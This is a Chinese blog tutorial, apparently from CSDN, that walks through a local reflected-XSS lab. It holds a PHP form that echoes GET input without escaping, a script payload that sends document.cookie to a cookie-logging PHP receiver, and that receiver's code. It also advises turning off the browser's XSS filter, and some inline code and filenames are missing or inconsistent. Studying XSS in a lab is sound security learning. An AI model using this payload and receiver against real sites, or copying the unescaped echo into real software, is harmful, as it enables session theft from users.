XSS攻击的简单实现

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/hxxjxw/article/details/89642067

xss 跨站脚本攻击(Cross Site Script)

 

①在慕课网跟着教学视频自己编写一个网页 ,用这个网页模拟有XSS漏洞的网站。

在网页源码中插入了这样一句话。

      这句话的作用其实是:显示一个搜索框。将搜索框中显示的内容是你用户输入之后的内容。

      通过看网站源码,我们可以知道,他让用户在显示框输入一个内容,然后就把这个内容当做显示框内容显示。

      但是,该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在。

     也就是说,网页会将我们输入的那个网址,带入到整个html代码中再执行一遍,那么,这样的话,我们如果像sql注入一样,输入的网址中包含着命令呢?网页岂不是就把我们的命令也一起执行了吗。

②写一个黑客接受程序  xss_hacker.php

      接收我们引导用户点击网页发送过来的信息,并将信息保存在本地。

     把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用。

③使用IE浏览器访问网站

      应当注意的一点是,现在的浏览器都有对xss的过滤功能,所以如果我们要实验演示的话,应该现在浏览器设置中将xss筛选器关掉。

       用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据。

准备攻击

我们构造一段输入内容

"/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!–

只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交,就会造成攻击。手工输入这个字符串,并提交。

此时,用户访问漏洞网站的html代码,被修改成了:

明显看出,这个html回去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站。

这样,我们xss_hacker.php脚本执行之后,我们本地就会生成一个xss_get.txt.

即拿到用户的cookie。

 

 

重点语句的作用:

    PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据。

    比如一个网页,让用户输入’name’和’email’,然后发送到当前页面。那么在当前页面,用$_POST["name"]就可以直接用发送来的值。

插入的代码

 <form>  
    <input style="width:300px;"  type="text" 
    name="address1" value="<?php  echo $_GET["address1"]; ?>" />  
 
    <input type="submit" value="Submit" />  
 </form>  

xss_hacker.php

<?php
$victim = 'XSS得到的 cookie:'.$_SERVER['REMOTE_ADDR'].':'.$_GET['cookie'];
echo $_GET['cookie'];
file_put_contents('xss_get.txt',$victim);
?>

 

猜你喜欢

转载自blog.csdn.net/hxxjxw/article/details/89642067
今日推荐